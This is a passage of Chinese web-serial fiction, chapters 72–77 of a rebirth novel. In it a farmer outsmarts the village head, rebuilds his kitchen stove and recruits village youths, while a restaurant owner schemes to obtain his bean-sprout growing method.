《重生之寒门翻身记》 第七十二章 惊讶、疑惑、羡慕、嫉妒……各种各样的情绪,交织在一起。 “苏二,这……这是咋回事啊?” 孔远山的娘,最先反应过来,她看着自家儿子手里的银钱,结结巴巴地问道。 “婶子,这都是我们跟阳哥儿进城卖鱼挣的!” 孔远山抢着回答,语气中带着几分自豪。 “卖鱼?” “这么多银子,得卖多少鱼啊?” “苏二,你……你这是发财了啊!” …… 村民们议论纷纷,看向苏阳的眼神,更加复杂了。 有几个原本还对苏阳抱有怀疑态度的,此刻也彻底动摇了。 这么多银子,可不是闹着玩的! 苏二,真的有本事! 人群中,卓氏父子的脸色,却是越来越难看。 他们原本是想来看苏阳笑话的,没想到,却看到了这样一幕。 这简直比杀了他们还难受! “苏二!” 赖志成再也忍不住了,他拨开人群,冲到苏阳跟前, “我们的鱼呢?卖了多少钱?你可不能独吞啊!” 他这话一出口,原本还嘈杂的人群,瞬间安静了下来。 所有人都看着苏阳,等待着他的回答。 苏阳冷冷地扫了赖志成一眼,嘴角勾起一抹嘲讽的弧度。 这老小子,果然是来找茬的!苏阳这几次进城,回回都带响儿。 第一次,空着手去,套了辆牛车回来。 第二次更神,牛车上还拴了头驴。 这第三次,嘿,阵仗更大了! 一头牛,拉着满满当当的家当不说,后头还跟着匹大马,踢踢踏踏,那叫一个精神! 村里人见了,哪个不眼热? 尤其是韩家父子,眼睛都绿了,恨不得扑上去把东西抢过来。 苏阳是谁? 他能看不出赖志成那点花花肠子? 不就是想当着大伙儿的面,让他出丑,坏他名声吗? 成,今儿个就让你这老东西赔了夫人又折兵! “村正爷爷,跟您说个事儿,先前咱说好的那买卖,估摸着是要吹灯拔蜡了。” 苏阳这话一出口,人群里嗡的一声,像是炸开了锅。 赖志成一愣,三角眼一瞪,脖子上的青筋都爆出来了: “啥?吹了?苏二,你小子可别跟老子耍什么心眼!” 他以为苏阳赚了大钱,正琢磨着怎么分一杯羹呢,结果苏阳竟然说买卖黄了? “村正爷爷,这事儿可真不怨我。” 苏阳装模作样地叹了口气, “您也知道,这鱼都是卖给凤子楼的。可人家掌柜的说了,往后不要咱的鱼了,说是吃不了那么多,放着也是浪费。” “啥?不要了?” 赖志成一听,顿时慌了神,这到嘴的肥肉还能飞了不成? “这……这可咋办?我这刚置办了网,往后捞上来的鱼卖给谁去?” 他急得直跺脚,鞋底子都快跺掉了。 苏阳双手一摊,满脸无奈: “您老人家想卖给谁就卖给谁,这事儿我可管不着。反正我是不收了,我可不想一堆鱼砸手里,到时候血本无归。” “你……” 赖志成被噎得直翻白眼,胸口一起一伏,像是拉风箱一样,呼哧呼哧喘着粗气。 “苏二!你小子……你不能这么干!当初可是你信誓旦旦说的,捕鱼能卖钱,现在你又撒手不管?没门!你要是非要推辞,就……就得赔我银子!” 他这话,与其说是威胁,不如说是气昏了头,口不择言。 苏阳心里冷笑一声,面上却不动声色。 等的就是你这句话,老狐狸! “村正爷爷,这话可是您亲口说的,大伙儿可都听着呢!五十两银子,外加青岭脚下那块没人要的荒地,咱这就立字据,画押!” 苏阳这话,说得那叫一个干脆利落。 “啥?” 赖志成傻眼了,他刚才也就是气头上,随口那么一说,谁知道苏阳还当真了? 五十两银子虽然不少,可跟卖鱼的进项比起来,那就是毛毛雨! 再说,苏阳还惦记着卧龙沟北边那片荒地,那可是上千亩啊! 真要还回去,他赖志成还不得心疼死? “哼,苏二,口说无凭,立字为据!当初可是按了手印的,衙门里也备了案,你想反悔?做你的春秋大梦去吧!” 赖志成强撑着一口气,撂下这句狠话,转身就走,那叫一个狼狈。 走出几步,又不放心地回头,瞧见俩儿子还跟木桩子似的杵在那儿,气得他差点没吐血。 “你们两个小王八羔子,还不赶紧给老子滚回家!戳在这儿等着吃席啊!” 他一人赏了一个爆栗,恨铁不成钢地骂道。 卓家兄弟正盘算着怎么找苏阳的茬呢,冷不丁被自家老爹抽了两下,一脸懵。 这么多乡亲们看着呢,老爹就这么认怂了? 往后还怎么在村里混? 赖志成当然明白这个道理。 可跟白花花的银子比起来,面子算个啥? 再说,他一个村正,还指望几个泥腿子给他面子? 笑话! 几句话就把村正怼得灰溜溜跑了,乡亲们对苏阳那叫一个佩服。 看看人家苏二,多有本事! 就连村长也拿他没办法! “阳哥儿,你这回又置办了啥好东西啊?快给大伙儿瞧瞧!” “这料子摸着可真舒服,滑溜溜的,跟咱庄户人家穿的可不一样,指定不便宜吧?” “哎呦,这么大一条猪后腿,绮娘妹子可算是有口福喽!” “这么多长枪,阳哥儿,你这是要拉队伍?” “……” 大伙儿围着苏阳,叽叽喳喳,问个不停。 苏阳抹了把汗,暗自庆幸。 幸好他机灵,把刀和弓弩都藏在了棉布底下,要不然还不得把这帮人吓出个好歹来? 长枪太长,藏不住,扎眼得很。 好在,大伙儿都还算识趣,只盯着面上能瞧见的物件儿问东问西,没谁动手乱翻。 还是陈木生这小子靠谱,一直绷着个脸,等回了家,刚拿到分红。 王婶一见,眼泪都快下来了。 她还以为自家儿子没分着,正难受呢,原来是这小子长心眼儿了! 王婶心里那个美啊,比喝了蜜还甜。 她男人走得早,这些年,她一个人拉扯着石头,吃了多少苦,受了多少罪,只有她自己知道。 如今,儿子出息了,能挣钱了,还知道藏着掖着,不声不响地就把钱交给了她,这让王婶咋能不高兴? 这说明啥? 说明她当初让石头跟着苏阳,那是跟对了! 这才几天啊,自家儿子就跟变了个人似的,懂事多了! 王婶正高兴呢,林绮娘也颠儿颠儿地跑了过来,小脸红扑扑的,像是熟透了的苹果。 “婶子,婶子!你看我哥给我买的新衣裳,好看不?” 她拎起裙摆,转了个圈儿,像只欢快的小鸟。 “好看,好看!绮娘穿啥都好看! 第七十三章 ” 王婶笑眯眯地夸道。 她心里明白,这丫头不光是显摆新衣裳,更是显摆她哥呢。 自从苏阳来了之后,这丫头就跟掉了魂儿似的,眼里除了她哥,再也容不下其他。 不过,这也难怪。 苏阳这小子,确实有本事,有能耐。 要不,怎么能把这一村子的人都给震住了呢? …… 苏阳发财的消息,像长了翅膀一样,飞遍了周围的大小村子。 村里人嚼舌根,添油加醋,传得神乎其神。 有人说,苏阳是走了狗屎运,捡到了金元宝,要不然哪来这么多钱买牛买马? 还有人说,苏阳是跟人合伙做了没本的买卖,抢了过路的客商,要不然哪来这么多粮食布匹? 更有人说,苏阳是被城里哪个大户人家的小姐看上了,要招他当倒插门的女婿,这些东西都是人家给的聘礼。 不管咋说,有一点大伙儿都认准了:跟着苏阳,准能吃香的喝辣的! 这消息一传开,当天晚上,苏家门槛都快被人踩烂了。 有那脸皮厚的,直接找到苏阳,求爷爷告奶奶,想让自家儿子跟着他混,哪怕是端茶倒水也行。 也有那抹不开面子的,就去找王婶,想让她在中间牵个线,搭个桥。 谁让王婶跟苏家走得近呢? 苏阳之前不是说一个月后才招人吗? 嗨,谁还把这话当真啊! 一个月? 黄花菜都凉了! 真要等一个月,这得亏多少钱呀! 这种事,谁能等得起? 苏阳被磨得实在没招儿了,第二天一大早,就扯着嗓子喊了一句: “再招六个!凑够十个就收手!不过,咱可把话说在前头,想跟着我,得过得了我的眼!过不了,天皇老子来了也不中!” 这话一出,原本那些想走后门、托关系的,顿时就蔫了。 他们心里也犯嘀咕:苏二这葫芦里到底卖的什么药? 还非得过他的眼? 他这眼光也太毒了吧! “苏二,你倒是给咱说说,你这眼,到底咋个过法?咱也好有个准备不是?” 有那心急的,扯着嗓子就问开了。“力气小的,不要。” “跑得慢的,也不要。” “还有,脑子转不过弯的,通通不要。” …… 苏阳在村里招工,开出的条件那叫一个苛刻。 其实说一千道一万,最要紧的就一条:身子骨得结实。之所以把招工的日子往后推了一天,就是想让村里人有个准备,好让自家娃儿能顺利选上。 要不然,一个个都饿得跟小鸡崽子似的,也看不出个啥真本事来。 “行了,都听明白了吧?麻溜儿地回去,趁着天儿还没黑,给娃儿们好好补补!” 打发走了围上来打听消息的村民,苏阳一回头,就吆喝着石头几个小子开始干活。 “上回找的那几个破缸还不够用,再去村里转转,看谁家还有闲着的,都给搬来。” “还有那沙子,也快用完了,再去卧龙沟边上挖点儿回来。” 苏阳的原则就一条:可劲儿地使唤这几个小子,绝不能让他们闲着。 省得他们老琢磨昨天遇上劫匪的那档子糟心事。 乡下小子,没啥大本事,干活绝对顶呱呱。 你让他们舞文弄墨,那纯粹是赶鸭子上架,可要说干这些粗活儿,那还不是小菜一碟? 当然,苏阳也不是光顾着使唤人,他自己也有正事要做。 他打算好好改造一下厨房里的灶台。 自打重生至今,他就瞅着家里那老灶台不顺眼。 太落后了! 那种老掉牙的灶台,设计得压根就不合理,柴火烧不充分不说,还一个劲儿地漏热气,纯粹是浪费。 更别提那大得出奇的灶门,还有那傻大黑粗的灶膛,连个炉箅子都没有。 苏阳上辈子在农大读研那会儿,跟着导师下乡扶贫,可没少往山沟沟里钻。 他见过山里的老百姓使一种新式灶,听说是上头推广的,叫啥省柴炉。 那会儿苏阳年轻,好奇心重,还特意凑过去研究了一番,算是把里头的门道给摸了个七七八八。 跟老式灶台比,这省柴炉的灶门、灶膛都改小了,还加装了炉箅,通风也更讲究,能让柴火烧得更旺。 除此之外,人家还加了保温层和聚火圈,能让热气在灶膛里头多转悠几圈,热量也就没那么容易跑掉。 那炉箅子更是设计得巧妙,柴火灰能直接漏下去,保证灶膛里头通风顺畅。 苏阳琢磨着,干脆把自家那单灶口改成双灶口。 前面的锅炒菜做饭,后面的锅专门烧热水。 这样一来,炒菜做饭的余温就能把热水烧得热乎乎的。 特别是寒冬腊月,洗脸洗脚啥的,直接就能用上热水,多方便! 他还打算把烟囱给加高,让灶膛里的空气更流通。 等几个小子连跑带颠地找来几口破缸,又吭哧吭哧地挖回沙子,苏阳就带着他们,直奔路旭东家。 从他家搬回来一堆大土砖。 这些土砖本来是路旭东的老爹准备来年开春盖新房用的,这下可好,全都被苏阳给“征用”了。 当然,苏阳可不是那种占便宜没够的人,白拿人东西的事儿,他干不出来。 给钱吧,路旭东死活不要,最后苏阳没辙,只好送了些粮食过去。 都是一个村的,低头不见抬头见,跟苏阳打交道,咱可不能亏待别人。 苏阳的好名声就是这么来的。 为了一点小便宜跟人斤斤计较,犯不上。 为了往后能过上舒坦日子,更为了自己跟林绮娘的健康,苏阳下定决心,不仅要改灶,还要在睡觉的屋里盘一铺暖榻。 在这缺衣少食的晋朝,冬天可不是闹着玩的,一个不小心就得冻出个好歹来。 自从穿越到这鬼地方,苏阳就发现,青龙村的村民们居然都不睡暖榻,全都是硬邦邦的木板床。 估摸着是因为村子旁边就是麻山,旁的不多,就是木头多。 古代为啥人均寿命那么短? 还不是因为日子过得太糙。 大冬天的,屋里冷得跟冰窖似的,感冒发烧那是家常便饭。 一旦烧得厉害了,又没有药,就只能硬挺着。 两辈子加一起,苏阳也算是见过一些世面的人,他很清楚盘炕的重要性。 “都别傻站着了,赶紧过来吃饭,吃饱了才有力气干活!” 一听要开饭,几个小子立马来了精神,一个个眼睛瞪得溜圆。 中午有肉吃! 还不是以前吃的那种下水货,这可是纯正的大腿肉! 在凤子楼的时候,石头他们几个可是亲眼瞧见了苏阳做的那盘子回锅肉。 那色泽,那香味,啧啧,馋得他们直流口水。 直到现在,那股子香味儿还一个劲儿地往他们鼻子里钻。 第七十四章 只可惜,那么大一盘子肉,全都被凤子楼的肥掌柜给一个人造了。 连凤子楼的厨子都没能蹭上一口,更别提他们这些小跟班了。 石头几个心里头那叫一个痒痒,要是苏阳能再做一回那种肉就好了…… 然而,理想很丰满,现实很骨感。 苏阳端上来一大盆菜,几人定睛一瞧,除了碧绿的豆芽,就是几根细细的肉丝。 “都愣着干啥?赶紧动筷子啊,尝尝这肉丝炒豆芽!” 苏阳一边招呼着,一边给每人盛了一碗饭。 几个小子心里虽然有点儿小失望,但夹菜的速度可一点儿也不慢。 苏阳刚把碗筷摆好,一扭头的工夫,盆里的菜已经下去了一小半。 当他们把第一筷子肉丝炒豆芽送进嘴里,一股前所未有的滋味瞬间在口腔中爆开。 啥凤子楼的回锅肉,早就被他们丢到九霄苏外去了! 没尝过的东西,再惦记也没用,哪有眼前这盘菜来得过瘾! 几个小子这辈子都没吃过这么香的菜,一个个狼吞虎咽,恨不得把舌头也一起吞下去。 乡下土猪肉,用大火爆炒,油香四溢。 苏阳炒菜的时候,还特意多放了些油。 他很清楚这年头的人肚子里缺的就是油水,既然要犒劳这几个小子,那就得让他们吃过瘾。 几个小子吃得满头大汗,差点儿没把盘子给舔干净。 要不是苏阳早就给王婶和林绮娘她们留出了一份,几个女人怕是连菜汤都喝不上。 苏阳看着几个小子这副吃相,心里头的一块石头也算落了地。 从生死边缘走了一遭,能吃得下东西就好。 能吃,就说明他们已经从昨天的惊吓里缓过来了。 看来,人的情绪就跟吃饭一样,只要肚子饿了,啥都能吃得下。 吃饱喝足,几个小子都打着饱嗝,瘫坐在地上,一副心满意足的模样。 稍微歇了口气,不用苏阳吩咐,石头就主动开口了:“阳哥儿,你刚才不是说饭后要躺炕上吗?咱啥时候开始?在哪儿盘?” 苏阳哭笑不得:“说了多少遍了,不是盘坑,是盘炕!” “炕?炕是个啥玩意儿?” 二虎挠了挠后脑勺,一脸的迷糊。 别说他了,就连见多识广的石头,也听得一头雾水。 暖榻这东西,在青龙村绝对是独一份。 别说青龙村了,恐怕整个大元朝都没几个人见过。 苏阳费了半天劲儿,跟他们几个解释,结果他们还是一脸懵。 “算了,跟你们也说不明白,你们只要听我的,让干啥就干啥,准没错。” 苏阳也懒得再费口舌了。 在盘炕之前,得先解决灶台的问题。 一听说苏阳要拆灶台,王婶和周围几个平时关系不错的邻居大婶都坐不住了,急急忙忙地赶了过来: “哎呦,阳哥儿,你可不能乱来啊,这灶台能随便拆吗?万一惹恼了灶王爷,那还得了!” “可不是咋地,你要是真想动,咋也得找个算命的先生给瞧瞧,不然得出大事!” “阳哥儿,我跟你说,我娘家那头有个亲戚,好像是我六舅姥爷家隔壁邻居的三姨夫,都怪胡乱拆了老灶台,结果你猜咋着?让火给烧死了!” …… 几个大婶你一嘴我一嘴,说得苏阳直嘬牙花子。林绮娘脸色煞白,小手死死拽着苏阳的袖口,指节都有些泛青。 “二哥……” 声音打着颤,像是怕极了。 周围的村民还在七嘴八舌,越说越邪乎。 苏阳被这阵势弄得哭笑不得。 这都什么年代了? 晋朝! 一个封建迷信比什么都吃香的鬼地方,跟这帮人讲科学? 算了吧,没用。 他定了定神,清清嗓子,扯了个理由:“大家伙儿静静,静静!这事儿我进城的时候特意找风水先生问过了,说必须得在正午之前把旧灶拆了,赶在日落之前把新灶砌好,这样才能借来天上的火星,保佑咱们家宅平安,人丁兴旺!” 好说歹说,总算把这帮深信不疑的村民给暂时稳住。 “呼……” 苏阳长出一口气,回身拍了拍林绮娘紧绷的肩膀:“行了,咒也念了,人也散了,别怕。” 林绮娘这才稍稍松开了他的袖子,可一双大眼睛里还是写满了将信将疑。 苏阳无奈地摇摇头,指着那已经拆了一半的灶台: “来吧,咱们也别愣着了,一起动手,早点弄完早利索!石头,你们几个也别傻站着,过来搭把手!” 人多好干活,这话一点儿不假。 没多大会儿,原本还算整齐的灶台就变成了一地的碎砖烂瓦。 苏阳负责清理,四个小子跟着打下手。 不大一会儿,就腾出了一块空地。 新灶台的图样,苏阳早就画好了。 这会儿直接上手,带着四小,和泥的,搬砖的,砌墙的…… 热火朝天,干劲十足。 刚砌好的灶台是不能立刻用的,得等它彻底干透才行。 晚饭看来是做不成了。 苏阳从屋里拿了些粮食,递给林绮娘: “去隔壁王婶家借个灶,跟她说咱们今天晚上请她过来一起吃饭!” …… 与此同时,清阳县,凤子楼。 肥掌柜感觉自己站在了人生的十字路口。 左边是安逸,右边是挑战。 他擦了擦油腻的双手,回头望了一眼自己一手操办的“盛宴”。 那一桌子菜,和平日里卖的可不一样。 为了做出这桌菜,他可是把自己压箱底的本事都使出来了。 每一道菜,都倾注了他的心血。 今天,他宴请的,可不是一般的客人。 而是清阳县里最有头有脸的几位爷! 这些爷,平日里吃惯了山珍海味,一个个嘴刁得很。 可今天,却一个个吃得满嘴流油,赞不绝口。 甚至还有人激动得老泪纵横,拉着肥掌柜的手,一个劲儿地说:“好!太好了!多少年没吃过这么地道的家乡菜了!” 肥掌柜知道,他们说的“家乡菜”,指的其实是东京汴梁的口味。 他心里得意,脸上却不动声色,只是谦虚地笑着。 心里却在想:“一群没见过世面的土鳖,这就把你们给吃哭了?” “等着吧,等老子去了东京汴梁,让你们见识见识什么叫真正的美食!” 肥掌柜的野心,在这一刻被彻底点燃了。 他已经不满足于在清阳县这个小地方称王称霸了。 他要走出去,去更大的舞台! 去东京汴梁,开一家最气派的酒楼! 让那些自诩为美食家的家伙们,都尝尝他肥掌柜的手艺! 不过,在离开之前,他必须把芽菜的培育方法弄到手。 没别的,这玩意儿太受欢迎了! 今天这桌菜,最抢手的除了他秘制的几道肉菜,就是那盘绿油油、水灵灵的芽菜。 第七十五章 别看那些大老爷们平日里一个个油腻得很,可一见到这清爽可口的芽菜,眼睛都直了。 没办法,大鱼大肉吃多了,谁都想换换口味。 结果,芽菜大受欢迎,风头甚至盖过了他精心烹制的肉菜! 肥掌柜能明显感觉到,那几位大人物吃过芽菜之后的表情变化。 原本只是礼节性的赞扬,结果吃完芽菜之后,赞美词都变了: “妙啊!这菜清脆爽口,回味无穷!” “这大冬天的,能吃到这么新鲜的菜,真是难得!” “掌柜的,你这菜……是从哪儿弄来的?” 最后一句话,才是重点。 “京城美食”的名头,已经打出去了。 整个清阳县,现在谁不知道凤子楼的菜是京城来的? 可这菜的来源…… 肥掌柜心里清楚,这事儿瞒不住。 所以,他必须尽快行动。 一晚上,凤子楼的生意好得出奇。 翻台率高得吓人,伙计们忙得脚不沾地。 肥掌柜更是亲自上阵,一刻不停地在后厨忙碌着。 每一道菜,都必须由他亲自把关。 他累得腰酸背痛,可心里却乐开了花。 “一定要把芽菜的培育方法弄到手!” 他一边颠着勺,一边在心里重复着这句话。 眼看着竹筐里的芽菜越来越少,他的决心就越来越强烈。 他甚至已经在心里盘算着,要不要出高价把苏阳给挖过来…… …… 另一边,苏家村。 第二天一大早,鸡还没打鸣呢。 苏阳就被一阵急促的敲门声给吵醒了。 “谁啊?大清早的,还让不让人睡觉了?” 他揉着惺忪的睡眼,嘟嘟囔囔地打开了院门。 门外,站着黑压压的一群人。 都是村里的村民。 一个个的,脸上都写满了急切和期待。 “阳哥儿,你可算开门了!” “我们都等半天了!” “阳哥儿,之前不是说要扩招新人吗?我们都来了!” “快开始吧,我们家孩子都等不及了!” 苏阳被这阵仗给惊得一愣。 好家伙,这哪儿是招人啊,简直比过年还热闹! 石头、木生、根子、小木生四个小子,也急匆匆地赶了过来。 可一看这架势,顿时傻眼了。 这么多人,他们连挤都挤不进去。 苏阳一看这不行,再这么下去,非得出乱子不可。 他赶紧招呼大家伙儿换地方。 “走走走,都跟我去晒粮场,家里太小,根本就站不下!” 一群人呼啦啦地跟着苏阳,来到了村里的晒粮场。 苏阳跳上了一个高高的石碾子,站稳了身子。 “石头,你们几个,给我维持秩序!” 他扯着嗓子喊道: “让大家伙儿都安静点儿!谁要是再敢大声喧哗,就别怪我不客气!” “直接取消他家孩子考试的资格!” 这话一出,效果立竿见影。 原本还闹哄哄的人群,顿时就安静了下来。 谁家也不想因为自己,耽误了孩子的前程。 苏阳对大家伙儿的态度转变还算满意。 “不懂规矩寸步难行,我丑话说在前头。” 他顿了顿,提高了声音: “今天来的人,都是想让自家孩子跟着我干的吧?” “既然如此,那咱们就得把规矩定好了。” “以后人多了,没个章程,那不全乱套了?” “所以,从今天开始,我苏阳这里,就得立下规矩!” “我苏阳虽然年纪不大,但也知道礼数。” “各位乡亲,各位长辈,承蒙大家不嫌弃,愿意把孩子交给我。” “我苏阳在这里,先给大家伙儿鞠个躬!” 说完,他真的弯下腰,深深地鞠了一躬。 这突如其来的举动,让在场的村民们都愣住了。 一时间,所有人都安静了下来,静静地看着苏阳。 谁也没想到,这个平日里在村里横行霸道、惹是生非的苏二,竟然会做出这样的举动。 这还是他们认识的那个苏二吗? 不会是……被人掉包了吧? 不过,不管怎么说,苏阳这一手,确实把大家都给镇住了。 至少,没人再敢轻视他了。 “各位乡亲,咱们打开天窗说亮话。” 苏阳直起身子,脸上的表情变得严肃起来: “我苏阳招人,可不是让大家来享福的。” “咱们是要干大事的!” “什么大事?跟那些强人抢饭吃!” “既然是抢饭吃,那就得有真本事。” “刀头舔血,脑袋别在裤腰带上,那是常有的事。” “受伤、流血,甚至……丢了性命,也不是不可能。” “所以,你们在决定让自家孩子跟着我干之前,都给我好好想想!” “这可不是闹着玩儿的,一旦出了事,别怪我没提前跟你们说清楚!” 苏阳这番话,说得斩钉截铁,掷地有声。 晒粮场上,鸦雀无声。 所有人都被苏阳的话给震住了。 大家伙儿你看看我,我看看你,一时间都不知道该说什么好。 过了好一会儿,才有人小声嘀咕起来。 “这……这么危险啊?” “那还不如在家种地呢……” “可不是嘛,种地虽然挣不了几个钱,可至少安全啊……” “话也不能这么说,万一要是真跟苏二干出点儿名堂来呢?” “那也得有命享受才行啊……” 各种各样的议论声,在人群中蔓延开来。 一个胡子拉碴的中年汉子,犹豫了半天,终于忍不住开口了: “阳哥儿,俺家那小子,从小就胆小,让他跟人打架,他……他下不去手啊!” 一个头发花白的老妇人,也颤巍巍地问道: “阳哥儿,这……这要是真出了人命,可咋办啊?” “是啊阳哥儿,这可不是闹着玩儿的,你可得想清楚啊!” 旁边的人也跟着附和。 一个年轻些的后生,挠了挠头,问出了一个最实际的问题: “阳哥儿,跟着你干……能挣多少钱啊?”“跟着我混,饭管饱。” 苏阳的声音不大,却清晰地传进了晒粮场上每个人的耳朵里。 他顿了顿,目光缓缓扫过一张张或期待、或忐忑的脸。 直到场上彻底安静下来,连一声轻微的咳嗽都没有。 “关于收入几何,” 苏阳提高了点音量, “那得看你们的本事,也得看……我能挣多少。记住,多劳多得,少劳少得,别指望天上掉馅饼。” 他故意把“我”字咬得很重, “想过好日子?简单!” 苏阳咧嘴一笑,露出一口白牙, “那就得拼!拿出真本事来拼!” 他可不惯着谁。 有言在先,省得往后一堆烂事。 他苏阳也不是开善堂的,不养闲人。 照理说,话都说到这份上了,怎么也得走一半人。 谁没事愿意卖命,还没个准数? 怪了,一个人都没动! “我说阳哥儿,您就别绕弯子了! 第七十六章 ” 一个低沉沙哑的声音,像闷雷一样炸开, “麻溜儿的,考啥您倒是给个话啊!俺们还等着回家忙呢!” “对对对,阳哥儿!” 另一个尖细的声音,像把锥子, “过日子哪能没个闪失?这理儿俺们门儿清!既然把娃送来了,俺们……早就合计透了!” 这人说着,还缩了缩脖子,像做了啥亏心事似的。 苏阳算是明白了。 这帮人,一个个跟打雷似的。 其实就是想多要点好处,跟这儿试探呢! 现在看自己不接茬,也就不再装了。 “中。” 苏阳也不废话,下巴朝边上一块空地一挑: “想跟我走的,站出来!一家……只准来一个,多来可不行!” 苏阳计划招六个人。 可放眼望去,一片黑压压的人头,起码来了三十户。 要是不拦着,说不定有的人家能塞进来两三个。 现在还没到用人的时候,也没立起威信。 苏阳不想手底下的人都拉帮结伙,到时候弄些乌七八糟的事。 “都听好了!” 苏阳又喊了一嗓子, “昨天我说的条件都还记得吧?家里的独苗不能来,年纪太大太小不能来,个头太矮不能来,太胖太瘦不能来,有病有灾的……更不能来!” 他一字一顿,说得清清楚楚。 眼神跟刀子似的,在每个人脸上刮过。 慢慢地,有二十来个半大孩子站了出来。 高矮胖瘦,啥样的都有。 苏阳一看,心中已然明了。 刚才那话没白说。 还是有几户人家怕了,没让孩子出来。 虽然人还在那儿站着,可也没啥用了。 人群里头,一个叫周阳的半大小子格外扎眼。 他直勾勾地盯着苏阳,眼里有光,有火,还有……哀求。 那眼神,就跟输红了眼的赌徒似的,把全部家当都押了上去。 谁家日子好过,也不会让孩子来干这个。 周阳他爹,前两年出去服徭役,就没回来。 他娘受不了,哭哭啼啼,没过多久也去了。 家里就剩一个哭瞎了的老奶奶。 还有两个小的,话都说不利索。 十六岁的周阳,累死累活也养不活一家人。 更别说,他娘看病还欠了一屁股债。 眼瞅着,这个冬天就要过不去了。 一家子老小,都要饿死! 这时候,苏阳变了。 从一个人见人嫌的混混,变成了人人巴结的对象。 村里都传遍了: 跟苏二混,能吃饱! 跟苏二混,能有钱! 跟苏二混,能学东西! 头一次,苏阳只从帮过他的人家里挑。 周阳连边都沾不上。 后来听说要再等一个月,周阳都快急疯了。 一个月? 他们家哪还等得起一个月! 可没成想,昨天晚上突然有了信儿。 苏阳要提前挑人! 周阳觉得,这是老天爷可怜他,给了他一条活路。 为了能让苏阳挑中自己,昨天全家都饿着肚子。 把家里最后一点吃的,都给了周阳。 可就算这样,周阳也没吃饱。 今天早上,更是啥也没吃。 他站在人群里,一点也不起眼。 饥肠辘辘难耐,身子冻得直哆嗦。 可他心里有火,烧得旺旺的。 为了能吃上一口饱饭,为了让一家老小活下去。 今天,他就是拼了这条命,也要留下来! “不对……” 苏阳忽然感觉哪里不对。 他皱着眉头,眯起眼睛。 目光在人群里扫来扫去,最后停在了周阳的身上。 “周阳,你回去。” 苏阳直接点了名,不带一丝商量的余地。 “阳哥儿,为啥啊?” 周阳脸色煞白,身子一歪,差点摔倒。 “你不合格。” 苏阳冷着脸, “你有个万一,你家里人咋办,我可养不起!” 他不是不讲人情。 实在是没那能耐,顾不过来那么多人。 要真是手下的人没了,他总不能不管人家里吧? 可他现在也没多少家底。 一两个还行,多了真养不起。 晋朝的兵要是战死了,朝廷会给一年的粮。 比方说,一个月二两银子,死了就给二十四两。 当然,这也就是个说法。 真到了底下,能拿到手的,少得可怜。 那些服徭役的百姓就更惨了。 死了就死了,连个水花都没有。 苏阳早就打算好了。 尽自己所能,多给点。 但给多少,真不好说。 还得看他有多少家底不是? 周阳他们家啥样,苏阳心里跟明镜似的。 一堆老弱病残,就靠周阳一个人撑着。 万一周阳有个三长两短,全家都得玩完。 苏阳可不想管这事,更不想逼死周阳一家。 所以,一开始就不打算要他。 “阳哥儿,我咋就不合格了?” 周阳还是不服,脖子梗得老直,声音都变了调, “难不成……我是家里的独苗?” 苏阳猛地反应过来,先前定规矩的时候,还真没说清楚。 只说了独苗不能来,却忘了说,没成年的不算数。 当时也是随口一说,谁能想到这小子还较上劲了? “别跟我犟,” 苏阳直接打断了他, “你家啥情况你不知道?万一你出点啥事,我咋跟你奶,跟你弟妹交代?” 他苏阳可不是啥迂腐的人。 跟他玩心眼? 做梦! “我……” 周阳还想争辩。 “砰!” 一个响头,重重地磕在了地上。 “阳哥儿,您行行好!我求您了!” 周阳的头死死地抵在地上,声音都变了形, “往后,我这条命就是您的!您让我干啥,我绝不皱一下眉头!” 苏阳彻底傻眼。 这都什么跟什么? “都给我起来!” 苏阳一声怒吼, “谁再敢给我跪下,以后都别想跟着我!” 他这话一出,原本还想跟着下跪的几个半大小子,立刻就僵住了。 开玩笑,这可是最后的机会。 谁也不敢再拿自己的前途冒险。 “都给我听好了,” 苏阳的目光扫过一张张年轻而又茫然的脸, “我苏阳,最烦的就是这一套!谁要是再跟我耍心眼,耍花招,就给我滚蛋!” 他指着还跪在地上的周阳, “周阳,你给我起来!我再给你最后一次机会,你要是还想跟着我,就给我好好站着!要是再敢给我整这些没用的,你现在就给我滚回家去!”“阳哥儿,您就行行好吧!收下我们家周阳,他就是死了,老太太不会责怪你!” 周阳的瞎眼奶奶,颤巍巍地跪倒在地,干枯的手死死抓住苏阳的裤脚。她身后,瘦骨嶙峋的孙儿孙女也跟着跪下,小小的身子摇摇欲坠,仿佛风一吹就要倒下。 不等苏阳反应,老太太已经“咚咚咚”地磕起头来,混浊的泪水和着泥土,在她满是皱纹的脸上肆意流淌,像干涸的河床。 “阳哥儿……” “别磕了!”苏阳连忙伸手去扶,却被老太太一把抓住,“您要是不答应,老婆子我… 第七十七章 …我就不起来了!” 这突如其来的一幕,让苏阳有些发懵。他可不想被人用道德绑架。 “阳哥儿,周阳他们家实在揭不开锅了,还欠了村东头景富户好几两银子的债,你若不接纳他,他们一家人就彻底玩完了!” “是啊阳哥儿,您就给周阳一个机会吧,他们全家真要饿死了!村里谁不知道您是菩萨心肠?” …… 周围的村民们也纷纷开口,七嘴八舌地替周阳一家求情,一声高过一声,仿佛生怕苏阳听不见。 苏阳这才知道,周阳家已经穷困潦倒到了这种地步,这个寒冬怕是都撑不下去了,居然还欠了外债。 “这……”他有些犹豫了,眉头紧锁成一个疙瘩。 规矩是定下了,可眼下正是自己立人设的关键时刻。要是真眼睁睁看着周阳一家饿死,自己这“仗义疏财”的人设还怎么立?还怎么服众? 再说,自己也是苦出身,多少能体会到穷人的不易。只是,这规矩……也不能说破就破啊。 让苏阳意外的是,原本互相争抢的乡亲们,竟然有不少人帮着周阳说话。要知道,自己每多收一个人,就意味着他们的孩子少了一个机会。这可真是……稀奇。 “嘿,这帮家伙……”苏阳心里嘀咕,目光在众人身上扫过,像一把尺子。 思来想去,他还是决定给周阳一个考核的机会。能不能把握住,就看他自己的造化了。给个机会,也算是堵住悠悠众口。 苏阳叹了口气,心里盘算着:毕竟这世上可怜人多了去了,自己哪能个个都管?真想帮衬周阳一家,也不一定非要收他当手下,悄悄送些粮食给他们,帮他们熬过这个冬天也就是了。总不能为了一个周阳,坏了自己定下的规矩。 救急不救穷,这道理苏阳还是懂的。 可眼下,招收合格的手下才是头等大事,这可不是在搞慈善事业。其他的,以后再说。 “砰砰砰!” 周阳一听有机会,激动得浑身发抖,二话不说,又是三个响头重重磕在地上,像捣蒜一样。 “阳哥儿,只要您给我机会,就算最后选不上,我也……我也绝无怨言!我周阳这条命,以后就是您的!”他抬起头,额头上已经一片红肿,眼神却坚定得吓人,像一头受伤的野兽。 他那瞎眼奶奶也带着俩孩子,一个劲儿地磕头,嘴里呜呜咽咽地说着感谢的话,听得人心里发酸。 